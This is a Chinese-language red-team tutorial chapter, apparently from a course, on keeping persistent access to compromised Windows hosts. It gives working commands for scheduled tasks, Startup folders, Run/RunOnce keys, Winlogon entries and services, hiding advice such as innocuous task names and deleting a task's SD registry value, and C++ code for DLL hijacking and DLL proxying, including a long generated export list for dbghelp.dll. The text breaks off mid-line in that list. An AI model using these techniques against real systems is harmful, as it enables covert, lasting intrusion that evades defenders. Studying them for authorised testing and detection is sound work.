章节6:本地持久化 计划任务 在我们获得初始会话之后,我们需要考虑如何让我们的访问持久化。原因很简单,如果我们是通过利用漏洞进来的,对方可能察觉到痕迹然后修补漏洞,如果是通过泄漏的密码进来的,对方可能修改密码,如果是利用社会工程学进来的, 对方不太可能再次上当。此外,目标企业的安全团队与产品也在监视异常情况。 持久化访问,可以通过多种方式达成,并且只要对操作系统足够熟悉、想象力足够丰富,往往能诞生出非常规的持久化方式。持久化的表现形式可以有本地后门,即可以瞬间实现提权或对特定目标的访问,例如给一个低权限帐号设置高权限的 ACL 。还可以是远程控制的形式,即受害主机会以规律或不规律的间隔向 C2 服务器连接。作为从外部突破的红队操作员以及渗透测试人员角度,我们需要的是后者,即能直接提供 C2 会话。现在,我们来介绍常见的持久化技术之一,计划任务。 计划任务,顾名思义,创建特定任务并且在触发特定条件之后执行。这个条件可以是单纯的时间流逝,可以是用户登录,可以是屏幕被锁定/解锁等等。我们以时间的流逝为例,触发条件为每 1 分钟,任务运行 C:\Windows\Tasks\Beacon.exe。代码为: schtasks /create /sc minute /mo 1 /tn Update /tr "C:\Windows\Tasks\Beacon.exe" /ru SYSTEM /sc 与 /mo 指定了执行间隔为 1 分钟,Update为计划任务名称,可以创建地看起来合理,我们当然不能用 “Backdoor” 之类的字眼。然后是指定的应用以和参数 (这里没有参数),以及指定以 SYSTEM权限执行。 (为了避免多重 Beacon,图例用了 calc.exe 代替) 我们可以通过命令行或者计划任务 GUI 查看 同样的,我们也可以通过 SharPersist (https://github.com/mandiant/SharPersist ) 工具来达成目的: SharPersist.exe -t schtask -c "C:\Windows\Tasks\Beacon.exe" -n "Update" -m add -o hourly -t 参数为持久化技术,这里我们选择的是计划任务,当然 SharPersist 还支持其他技术,我们后面会说。其他参数大家都能看出来是什么作用。 但需要注意的是,默认情况下,计划任务持久化不够隐蔽,很容易被发现,并且这也是一个被聚焦在聚光灯下的方法。我们可以通过访问注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ 并且删除后门计划任务的SD值,来隐藏计划任务。这样的话通过命令就无法找到了。 启动与登陆触发 我们还可以通过登陆操作来触发特定任务。与登陆相关的实现方式有数种,但实现效果是相似的。 Startup 文件夹 每个用户都拥有一个文件夹 C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 。如果我们在其中放置一个可执行文件,当前用户会在登陆的时候触发载荷。 如果我们是想让所有用户都执行该载荷,那么我们可以放在 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 文件夹下 我们还可以通过SharPersist工具实现:SharPersist.exe -t startupfolder -c "C:\Windows\System32\calc.exe"  -f "StartUp" -m add SharPersist 在该目录下生成了一个快捷方式,指定了要执行的程序以及参数。 Run与RunOnce 我们还可以通过修改注册表Run与RunOnce实现。 注册表位置: HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce HKLM\Software\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 我们也可以通过SharPersist工具来实现,命令为 SharPersist.exe -t reg -c "C:\Windows\Tasks\Beacon.exe" -a "/q /n" -k "hkcurun" -v "Microsoft Services" -m add Logon Helper 之前的章节提到,我们可能在注册表的 Winlogon (HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon) 区域提取到明文帐号密码,但实际上我们也可以用来实现持久化。我们注意到,一些条目指向可执行文件,例如 Userinit。 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell 我们直接替换的话,可能影响原本功能,因此我们额外添加要运行的程序及参数。 服务 考虑到很多服务也是开机启动的,因此服务也可以用来实现持久化。我们可以通过 SharPersist 工具的命令来实现 SharPersist -t service -c "C:\Windows\Tasks\Beacon.exe"  -n "Update Services" -m add 我们也可以手动创建后门服务。 sc.exe create Service2 binPath= "C:\Windows\System32\calc.exe" start=auto sc.exe start Service2 我们可以直接将 binPath 指向我们想要的可执行文件,例如 exe 载荷。但是需要注意的是,服务所用的 exe 可执行文件与一般的可执行文件有所不同,如果我们直接指向一般可执行文件,例如 exe 版的 CS 或 Metasploit 载荷,我们会遇到 The service did not respond to the start or control request in a timely fashion 报错,或者程序会在运行后很快退出。作为一个 workaround,我们可以使用具有进程注入功能的 Shellcode 加载器,即在程序退出之前迁移到其他进程中实现持久化。我们也可以直接生成服务二进制文件。 DLL 劫持与代理 当一个程序启动时,诸多 DLL 文件被加载到改程序的进程内存空间中,Windows 按照特定顺序查看系统文件夹来搜索进程所需的 DLL。 DLL 劫持可以实现持久化,如果我们想方设法让一个自启动的程序载入了我们的恶意 DLL 文件。考虑到应用越多,DLL 劫持的机会越大,因此该章节建议学员在常用主机/VM 上操作。 DLL 劫持 我们举个例子,程序 GameCenter.exe 是自启动的,并且在启动时载入数个 DLL 文件,其中没有明确某个 DLL 的绝对位置。因此 DLL 文件被按照一定的搜索顺序,例如先从文件夹 A 中查看是否包含 d3d12.dll,如果没找到则从 B 中寻找,以此类推,最终在文件夹 D 中找到并载入。如果我们在文件夹 A 中存放 d3d12.dll,因为 A 文件夹优先被搜索,所以直接载入在 A 文件夹中的恶意 DLL 文件,D 文件夹中的则被忽略。而 A 文件夹通常是程序的当前工作目录。实际的顺序的话,是这样的: 加载应用程序的目录,例如 C:\Program Files\Game Center\ C:\Windows\System32 C:\Windows\System C:\Windows 当前工作目录 系统 PATH 环境变量中的目录 用户 PATH 环境变量中的目录 也存在更简单的情况,程序所要加载的 DLL 并不存在。如图所示,我们可以看到 Discord 就广泛存在这个问题。因此我们只要在上述目录中写入一个同名的恶意 DLL 即可。 我们可以通过使用 process monitor (https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) 来过滤得到缺失的DLL: Path ends with dll Result is NAME NOT FOUND 用 Visual Studio 新建一个 C++ 的 DLL 项目,一份概念验证性代码如下: // dllmain.cpp : Defines the entry point for the DLL application. #include "pch.h" #include "windows.h" #include "stdlib.h" /* extern "C" __declspec(dllexport) void run() { MessageBoxA(NULL, "Execution happened", "Bypass", MB_OK); }*/ BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("cmd /c ping.exe 192.168.0.44"); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 最终,我们选择 d3d12.dll。在编译 DLL 的时候,请注意如果原 DLL 是 x86的,那么我们则使用 x86 版本的 DLL,反之则是 x64 版本的 DLL。这里的话,d3d12.dll 是 x86 的。 在 Discord 目录下植入 d3d12.dll,重启 Discord,大概等 2 分钟,载荷触发了。 因为是在本地进行复现,因此我们打开 tcpdump 记录 ICMP 请求,如果 DLL 被成功载入了,那么我们可以看到 ICMP 的记录。 exploit-db 以及 CVE 库中也有包含 DLL 劫持的漏洞,例如 https://www.exploit-db.com/exploits/44066 DLL 代理 除了 DLL 劫持 (侧加载) 外,还有 DLL 代理。如果我们贸然用自己的恶意 DLL 替换掉程序原本要载入的 DLL ,可能会影响其功能。而 DLL 代理技术可以在不影响程序原有功能的情况下依旧执行我们的恶意载荷。 以 Discord.exe 加载的 dbghelp.dll 为例,Discord并未在文件夹目录中找到该 DLL,但最终在 C:\Windows\SysWOW64 中找到了。 首先,既然在 SysWOW64 文件夹中,说明这是一个 x86 的 DLL。其次,如果我们贸然在文件夹目录中丢入一个恶意 DLL 载荷,可能会影响 Discord 的使用。 那么我们要做的就是让我们植入的恶意 DLL 载荷不仅能触发任意命令执行,而且能把 SysWOW64 中 dbghelp.dll 原有的功能导入到我们的恶意 DLL 载荷中。 要使用 DLL 代理技术生成一个恶意载荷,有多个步骤,我们一步步来看。 1:下载 DLL Export View 工具 (http://www.nirsoft.net/utils/dll_export_viewer.html) 2:选择“合法”的 DLL,这里是 SysWOW64 下的 dbghelp.dll 3:导出所有函数,并把 HTML 报告本地保存 4:使用如下 Python 脚本将导出函数信息格式化输出: import sys print("Usage: python3 dllproxying.py ") print("Usage: python3 dllproxying.py dbghelp.html C:\\\\Windows\\\\SysWOW64\\\\\dbghelp.dll") report=sys.argv[1] legit=sys.argv[2] try: f = open(report) page = f.readlines() f.close() except: print("Cannot open the report file!") print("\nFunction list:\n") for line in page: if line.startswith(""): cols = line.replace("", "").split("") functionname = cols[0] num = cols[3].split(' ')[0] dll= legit[0:len(legit)-4] dll=dll.replace("\\","\\\\") print("#pragma comment(linker,\"/export:"+functionname+"="+dll+"."+functionname+",@"+str(num)+"\")") 运行脚本: 5:将输出添加到 DLL 项目中,最终代码如下: #include "pch.h" #include "windows.h" #include "stdlib.h" #pragma comment(linker,"/export:block=C:\\Windows\\SysWOW64\\dbghelp.block,@1341") #pragma comment(linker,"/export:chksym=C:\\Windows\\SysWOW64\\dbghelp.chksym,@1342") #pragma comment(linker,"/export:dbghelp=C:\\Windows\\SysWOW64\\dbghelp.dbghelp,@1343") #pragma comment(linker,"/export:DbgHelpCreateUserDump=C:\\Windows\\SysWOW64\\dbghelp.DbgHelpCreateUserDump,@1126") #pragma comment(linker,"/export:DbgHelpCreateUserDumpW=C:\\Windows\\SysWOW64\\dbghelp.DbgHelpCreateUserDumpW,@1127") #pragma comment(linker,"/export:dh=C:\\Windows\\SysWOW64\\dbghelp.dh,@1344") #pragma comment(linker,"/export:EnumDirTree=C:\\Windows\\SysWOW64\\dbghelp.EnumDirTree,@1128") #pragma comment(linker,"/export:EnumDirTreeW=C:\\Windows\\SysWOW64\\dbghelp.EnumDirTreeW,@1129") #pragma comment(linker,"/export:EnumerateLoadedModules=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModules,@1131") #pragma comment(linker,"/export:EnumerateLoadedModules64=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModules64,@1130") #pragma comment(linker,"/export:EnumerateLoadedModulesEx=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModulesEx,@1132") #pragma comment(linker,"/export:EnumerateLoadedModulesExW=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModulesExW,@1133") #pragma comment(linker,"/export:EnumerateLoadedModulesW64=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModulesW64,@1134") #pragma comment(linker,"/export:ExtensionApiVersion=C:\\Windows\\SysWOW64\\dbghelp.ExtensionApiVersion,@1135") #pragma comment(linker,"/export:FindDebugInfoFile=C:\\Windows\\SysWOW64\\dbghelp.FindDebugInfoFile,@1136") #pragma comment(linker,"/export:FindDebugInfoFileEx=C:\\Windows\\SysWOW64\\dbghelp.FindDebugInfoFileEx,@1137") #pragma comment(linker,"/export:FindDebugInfoFileExW=C:\\Windows\\SysWOW64\\dbghelp.FindDebugInfoFileExW,@1138") #pragma comment(linker,"/export:FindExecutableImage=C:\\Windows\\SysWOW64\\dbghelp.FindExecutableImage,@1139") #pragma comment(linker,"/export:FindExecutableImageEx=C:\\Windows\\SysWOW64\\dbghelp.FindExecutableImageEx,@1140") #pragma comment(linker,"/export:FindExecutableImageExW=C:\\Windows\\SysWOW64\\dbghelp.FindExecutableImageExW,@1141") #pragma comment(linker,"/export:FindFileInPath=C:\\Windows\\SysWOW64\\dbghelp.FindFileInPath,@1142") #pragma comment(linker,"/export:FindFileInSearchPath=C:\\Windows\\SysWOW64\\dbghelp.FindFileInSearchPath,@1143") #pragma comment(linker,"/export:fptr=C:\\Windows\\SysWOW64\\dbghelp.fptr,@1345") #pragma comment(linker,"/export:GetSymLoadError=C:\\Windows\\SysWOW64\\dbghelp.GetSymLoadError,@1144") #pragma comment(linker,"/export:GetTimestampForLoadedLibrary=C:\\Windows\\SysWOW64\\dbghelp.GetTimestampForLoadedLibrary,@1145") #pragma comment(linker,"/export:homedir=C:\\Windows\\SysWOW64\\dbghelp.homedir,@1346") #pragma comment(linker,"/export:ImageDirectoryEntryToData=C:\\Windows\\SysWOW64\\dbghelp.ImageDirectoryEntryToData,@1146") #pragma comment(linker,"/export:ImageDirectoryEntryToDataEx=C:\\Windows\\SysWOW64\\dbghelp.ImageDirectoryEntryToDataEx,@1147") #pragma comment(linker,"/export:ImagehlpApiVersion=C:\\Windows\\SysWOW64\\dbghelp.ImagehlpApiVersion,@1151") #pragma comment(linker,"/export:ImagehlpApiVersionEx=C:\\Windows\\SysWOW64\\dbghelp.ImagehlpApiVersionEx,@1152") #pragma comment(linker,"/export:ImageNtHeader=C:\\Windows\\SysWOW64\\dbghelp.ImageNtHeader,@1148") #pragma comment(linker,"/export:ImageRvaToSection=C:\\Windows\\SysWOW64\\dbghelp.ImageRvaToSection,@1149") #pragma comment(linker,"/export:ImageRvaToVa=C:\\Windows\\SysWOW64\\dbghelp.ImageRvaToVa,@1150") #pragma comment(linker,"/export:inlinedbg=C:\\Windows\\SysWOW64\\dbghelp.inlinedbg,@1347") #pragma comment(linker,"/export:itoldyouso=C:\\Windows\\SysWOW64\\dbghelp.itoldyouso,@1348") #pragma comment(linker,"/export:lmi=C:\\Windows\\SysWOW64\\dbghelp.lmi,@1349") #pragma comment(linker,"/export:lminfo=C:\\Windows\\SysWOW64\\dbghelp.lminfo,@1350") #pragma comment(linker,"/export:MakeSureDirectoryPathExists=C:\\Windows\\SysWOW64\\dbghelp.MakeSureDirectoryPathExists,@1153") #pragma comment(linker,"/export:MapDebugInformation=C:\\Windows\\SysWOW64\\dbghelp.MapDebugInformation,@1154") #pragma comment(linker,"/export:MiniDumpReadDumpStream=C:\\Windows\\SysWOW64\\dbghelp.MiniDumpReadDumpStream,@1155") #pragma comment(linker,"/export:MiniDumpWriteDump=C:\\Windows\\SysWOW64\\dbghelp.MiniDumpWriteDump,@1156") #pragma comment(linker,"/export:omap=C:\\Windows\\SysWOW64\\dbghelp.omap,@1351") #pragma comment(linker,"/export:optdbgdump=C:\\Windows\\SysWOW64\\dbghelp.optdbgdump,@1352") #pragma comment(linker,"/export:optdbgdumpaddr=C:\\Windows\\SysWOW64\\dbghelp.optdbgdumpaddr,@1353") #pragma comment(linker,"/export:RangeMapAddPeImageSections=C:\\Windows\\SysWOW64\\dbghelp.RangeMapAddPeImageSections,@1157") #pragma comment(linker,"/export:RangeMapCreate=C:\\Windows\\SysWOW64\\dbghelp.RangeMapCreate,@1158") #pragma comment(linker,"/export:RangeMapFree=C:\\Windows\\SysWOW64\\dbghelp.RangeMapFree,@1159") #pragma comment(linker,"/export:RangeMapRead=C:\\Windows\\SysWOW64\\dbghelp.RangeMapRead,@1160") #pragma comment(linker,"/export:RangeMapRemove=C:\\Windows\\SysWOW64\\dbghelp.RangeMapRemove,@1161") #pragma comment(linker,"/export:RangeMapWrite=C:\\Windows\\SysWOW64\\dbghelp.RangeMapWrite,@1162") #pragma comment(linker,"/export:RemoveInvalidModuleList=C:\\Windows\\SysWOW64\\dbghelp.RemoveInvalidModuleList,@1163") #pragma comment(linker,"/export:ReportSymbolLoadSummary=C:\\Windows\\SysWOW64\\dbghelp.ReportSymbolLoadSummary,@1164") #pragma comment(linker,"/export:SearchTreeForFile=C:\\Windows\\SysWOW64\\dbghelp.SearchTreeForFile,@1165") #pragma comment(linker,"/export:SearchTreeForFileW=C:\\Windows\\SysWOW64\\dbghelp.SearchTreeForFileW,@1166") #pragma comment(linker,"/export:SetCheckUserInterruptShared=C:\\Windows\\SysWOW64\\dbghelp.SetCheckUserInterruptShared,@1167") #pragma comment(linker,"/export:SetSymLoadError=C:\\Windows\\SysWOW64\\dbghelp.SetSymLoadError,@1168") #pragma comment(linker,"/export:srcfiles=C:\\Windows\\SysWOW64\\dbghelp.srcfiles,@1354") #pragma comment(linker,"/export:stack_force_ebp=C:\\Windows\\SysWOW64\\dbghelp.stack_force_ebp,@1355") #pragma comment(linker,"/export:stackdbg=C:\\Windows\\SysWOW64\\dbghelp.stackdbg,@1356") #pragma comment(linker,"/export:StackWalk=C:\\Windows\\SysWOW64\\dbghelp.StackWalk,@1170") #pragma comment(linker,"/export:StackWalk64=C:\\Windows\\SysWOW64\\dbghelp.StackWalk64,@1169") #pragma comment(linker,"/export:StackWalkEx=C:\\Windows\\SysWOW64\\dbghelp.StackWalkEx,@1171") #pragma comment(linker,"/export:sym=C:\\Windows\\SysWOW64\\dbghelp.sym,@1357") #pragma comment(linker,"/export:SymAddrIncludeInlineTrace=C:\\Windows\\SysWOW64\\dbghelp.SymAddrIncludeInlineTrace,@1177") #pragma comment(linker,"/export:SymAddSourceStream=C:\\Windows\\SysWOW64\\dbghelp.SymAddSourceStream,@1172") #pragma comment(linker,"/export:SymAddSourceStreamA=C:\\Windows\\SysWOW64\\dbghelp.SymAddSourceStreamA,@1173") #pragma comment(linker,"/export:SymAddSourceStreamW=C:\\Windows\\SysWOW64\\dbghelp.SymAddSourceStreamW,@1174") #pragma comment(linker,"/export:SymAddSymbol=C:\\Windows\\SysWOW64\\dbghelp.SymAddSymbol,@1175") #pragma comment(linker,"/export:SymAddSymbolW=C:\\Windows\\SysWOW64\\dbghelp.SymAddSymbolW,@1176") #pragma comment(linker,"/export:SymAllocDiaString=C:\\Windows\\SysWOW64\\dbghelp.SymAllocDiaString,@1120") #pragma comment(linker,"/export:SymCleanup=C:\\Windows\\SysWOW64\\dbghelp.SymCleanup,@1178") #pragma comment(linker,"/export:SymCompareInlineTrace=C:\\Windows\\SysWOW64\\dbghelp.SymCompareInlineTrace,@1179") #pragma comment(linker,"/export:SymDeleteSymbol=C:\\Windows\\SysWOW64\\dbghelp.SymDeleteSymbol,@1180") #pragma comment(linker,"/export:SymDeleteSymbolW=C:\\Windows\\SysWOW64\\dbghelp.SymDeleteSymbolW,@1181") #pragma comment(linker,"/export:SymEnumerateModules=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateModules,@1202") #pragma comment(linker,"/export:SymEnumerateModules64=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateModules64,@1201") #pragma comment(linker,"/export:SymEnumerateModulesW64=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateModulesW64,@1203") #pragma comment(linker,"/export:SymEnumerateSymbols=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateSymbols,@1205") #pragma comment(linker,"/export:SymEnumerateSymbols64=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateSymbols64,@1204") #pragma comment(linker,"/export:SymEnumerateSymbolsW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateSymbolsW,@1207") #pragma comment(linker,"/export:SymEnumerateSymbolsW64=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateSymbolsW64,@1206") #pragma comment(linker,"/export:SymEnumLines=C:\\Windows\\SysWOW64\\dbghelp.SymEnumLines,@1182") #pragma comment(linker,"/export:SymEnumLinesW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumLinesW,@1183") #pragma comment(linker,"/export:SymEnumProcesses=C:\\Windows\\SysWOW64\\dbghelp.SymEnumProcesses,@1184") #pragma comment(linker,"/export:SymEnumSourceFiles=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceFiles,@1186") #pragma comment(linker,"/export:SymEnumSourceFilesW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceFilesW,@1187") #pragma comment(linker,"/export:SymEnumSourceFileTokens=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceFileTokens,@1185") #pragma comment(linker,"/export:SymEnumSourceLines=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceLines,@1188") #pragma comment(linker,"/export:SymEnumSourceLinesW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceLinesW,@1189") #pragma comment(linker,"/export:SymEnumSym=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSym,@1190") #pragma comment(linker,"/export:SymEnumSymbols=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbols,@1191") #pragma comment(linker,"/export:SymEnumSymbolsEx=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsEx,@1192") #pragma comment(linker,"/export:SymEnumSymbolsExW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsExW,@1193") #pragma comment(linker,"/export:SymEnumSymbolsForAddr=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsForAddr,@1194") #pragma comment(linker,"/export:SymEnumSymbolsForAddrW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsForAddrW,@1195") #pragma comment(linker,"/export:SymEnumSymbolsW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsW,@1196") #pragma comment(linker,"/export:SymEnumTypes=C:\\Windows\\SysWOW64\\dbghelp.SymEnumTypes,@1197") #pragma comment(linker,"/export:SymEnumTypesByName=C:\\Windows\\SysWOW64\\dbghelp.SymEnumTypesByName,@1198") #pragma comment(linker,"/export:SymEnumTypesByNameW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumTypesByNameW,@1199") #pragma comment(linker,"/export:SymEnumTypesW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumTypesW,@1200") #pragma comment(linker,"/export:SymFindDebugInfoFile=C:\\Windows\\SysWOW64\\dbghelp.SymFindDebugInfoFile,@1208") #pragma comment(linker,"/export:SymFindDebugInfoFileW=C:\\Windows\\SysWOW64\\dbghelp.SymFindDebugInfoFileW,@1209") #pragma comment(linker,"/export:SymFindExecutableImage=C:\\Windows\\SysWOW64\\dbghelp.SymFindExecutableImage,@1210") #pragma comment(linker,"/export:SymFindExecutableImageW=C:\\Windows\\SysWOW64\\dbghelp.SymFindExecutableImageW,@1211") #pragma comment(linker,"/export:SymFindFileInPath=C:\\Windows\\SysWOW64\\dbghelp.SymFindFileInPath,@1212") #pragma comment(linker,"/export:SymFindFileInPathW=C:\\Windows\\SysWOW64\\dbghelp.SymFindFileInPathW,@1213") #pragma comment(linker,"/export:SymFreeDiaString=C:\\Windows\\SysWOW64\\dbghelp.SymFreeDiaString,@1121") #pragma comment(linker,"/export:SymFromAddr=C:\\Windows\\SysWOW64\\dbghelp.SymFromAddr,@1214") #pragma comment(linker,"/export:SymFromAddrW=C:\\Windows\\SysWOW64\\dbghelp.SymFromAddrW,@1215") #pragma comment(linker,"/export:SymFromIndex=C:\\Windows\\SysWOW64\\dbghelp.SymFromIndex,@1216") #pragma comment(linker,"/export:SymFromIndexW=C:\\Windows\\SysWOW64\\dbghelp.SymFromIndexW,@1217") #pragma comment(linker,"/export:SymFromInlineContext=C:\\Windows\\SysWOW64\\dbghelp.SymFromInlineContext,@1218") #pragma comment(linker,"/export:SymFromInlineContextW=C:\\Windows\\SysWOW64\\dbghelp.SymFromInlineContextW,@1219") #pragma comment(linker,"/export:SymFromName=C:\\Windows\\SysWOW64\\dbghelp.SymFromName,@1220") #pragma comment(linker,"/export:SymFromNameW=C:\\Windows\\SysWOW64\\dbghelp.SymFromNameW,@1221") #pragma comment(linker,"/export:SymFromToken=C:\\Windows\\SysWOW64\\dbghelp.SymFromToken,@1222") #pragma comment(linker,"/export:SymFromTokenW=C:\\Windows\\SysWOW64\\dbghelp.SymFromTokenW,@1223") #pragma comment(linker,"/export:SymFunctionTableAccess=C:\\Windows\\SysWOW64\\dbghelp.SymFunctionTableAccess,@1226") #pragma comment(linker,"/export:SymFunctionTableAccess64=C:\\Windows\\SysWOW64\\dbghelp.SymFunctionTableAccess64,@1224") #pragma comment(linker,"/export:SymFunctionTableAccess64AccessRoutines=C:\\Windows\\SysWOW64\\dbghelp.SymFunctionTableAccess64AccessRoutines,@1225") #pragma comment(linker,"/export:SymGetDiaSession=C:\\Windows\\SysWOW64\\dbghelp.SymGetDiaSession,@1122") #pragma comment(linker,"/export:SymGetExtendedOption=C:\\Windows\\SysWOW64\\dbghelp.SymGetExtendedOption,@1227") #pragma comment(linker,"/export:SymGetFileLineOffsets64=C:\\Windows\\SysWOW64\\dbghelp.SymGetFileLineOffsets64,@1228") #pragma comment(linker,"/export:SymGetHomeDirectory=C:\\Windows\\SysWOW64\\dbghelp.SymGetHomeDirectory,@1229") #pragma comment(linker,"/export:SymGetHomeDirectoryW=C:\\Windows\\SysWOW64\\dbghelp.SymGetHomeDirectoryW,@1230") #pragma comment(linker,"/export:SymGetLineFromAddr=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromAddr,@1232") #pragma comment(linker,"/export:SymGetLineFromAddr64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromAddr64,@1231") #pragma comment(linker,"/export:SymGetLineFromAddrW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromAddrW64,@1233") #pragma comment(linker,"/export:SymGetLineFromInlineContext=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromInlineContext,@1234") #pragma comment(linker,"/export:SymGetLineFromInlineContextW=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromInlineContextW,@1235") #pragma comment(linker,"/export:SymGetLineFromName=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromName,@1237") #pragma comment(linker,"/export:SymGetLineFromName64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromName64,@1236") #pragma comment(linker,"/export:SymGetLineFromNameW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromNameW64,@1238") #pragma comment(linker,"/export:SymGetLineNext=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineNext,@1240") #pragma comment(linker,"/export:SymGetLineNext64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineNext64,@1239") #pragma comment(linker,"/export:SymGetLineNextW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineNextW64,@1241") #pragma comment(linker,"/export:SymGetLinePrev=C:\\Windows\\SysWOW64\\dbghelp.SymGetLinePrev,@1243") #pragma comment(linker,"/export:SymGetLinePrev64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLinePrev64,@1242") #pragma comment(linker,"/export:SymGetLinePrevW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLinePrevW64,@1244") #pragma comment(linker,"/export:SymGetModuleBase=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleBase,@1246") #pragma comment(linker,"/export:SymGetModuleBase64=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleBase64,@1245") #pragma comment(linker,"/export:SymGetModuleInfo=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleInfo,@1248") #pragma comment(linker,"/export:SymGetModuleInfo64=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleInfo64,@1247") #pragma comment(linker,"/export:SymGetModuleInfoW=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleInfoW,@1250") #pragma comment(linker,"/export:SymGetModuleInfoW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleInfoW64,@1249") #pragma comment(linker,"/export:SymGetOmapBlockBase=C:\\Windows\\SysWOW64\\dbghelp.SymGetOmapBlockBase,@1123") #pragma comment(linker,"/export:SymGetOmaps=C:\\Windows\\SysWOW64\\dbghelp.SymGetOmaps,@1251") #pragma comment(linker,"/export:SymGetOptions=C:\\Windows\\SysWOW64\\dbghelp.SymGetOptions,@1252") #pragma comment(linker,"/export:SymGetScope=C:\\Windows\\SysWOW64\\dbghelp.SymGetScope,@1253") #pragma comment(linker,"/export:SymGetScopeW=C:\\Windows\\SysWOW64\\dbghelp.SymGetScopeW,@1254") #pragma comment(linker,"/export:SymGetSearchPath=C:\\Windows\\SysWOW64\\dbghelp.SymGetSearchPath,@1255") #pragma comment(linker,"/export:SymGetSearchPathW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSearchPathW,@1256") #pragma comment(linker,"/export:SymGetSourceFile=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFile,@1257") #pragma comment(linker,"/export:SymGetSourceFileChecksum=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileChecksum,@1258") #pragma comment(linker,"/export:SymGetSourceFileChecksumW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileChecksumW,@1259") #pragma comment(linker,"/export:SymGetSourceFileFromToken=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileFromToken,@1260") #pragma comment(linker,"/export:SymGetSourceFileFromTokenW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileFromTokenW,@1261") #pragma comment(linker,"/export:SymGetSourceFileToken=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileToken,@1262") #pragma comment(linker,"/export:SymGetSourceFileTokenW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileTokenW,@1263") #pragma comment(linker,"/export:SymGetSourceFileW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileW,@1264") #pragma comment(linker,"/export:SymGetSourceVarFromToken=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceVarFromToken,@1265") #pragma comment(linker,"/export:SymGetSourceVarFromTokenW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceVarFromTokenW,@1266") #pragma comment(linker,"/export:SymGetSymbolFile=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymbolFile,@1275") #pragma comment(linker,"/export:SymGetSymbolFileW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymbolFileW,@1276") #pragma comment(linker,"/export:SymGetSymFromAddr=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymFromAddr,@1268") #pragma comment(linker,"/export:SymGetSymFromAddr64=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymFromAddr64,@1267") #pragma comment(linker,"/export:SymGetSymFromName=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymFromName,@1270") #pragma 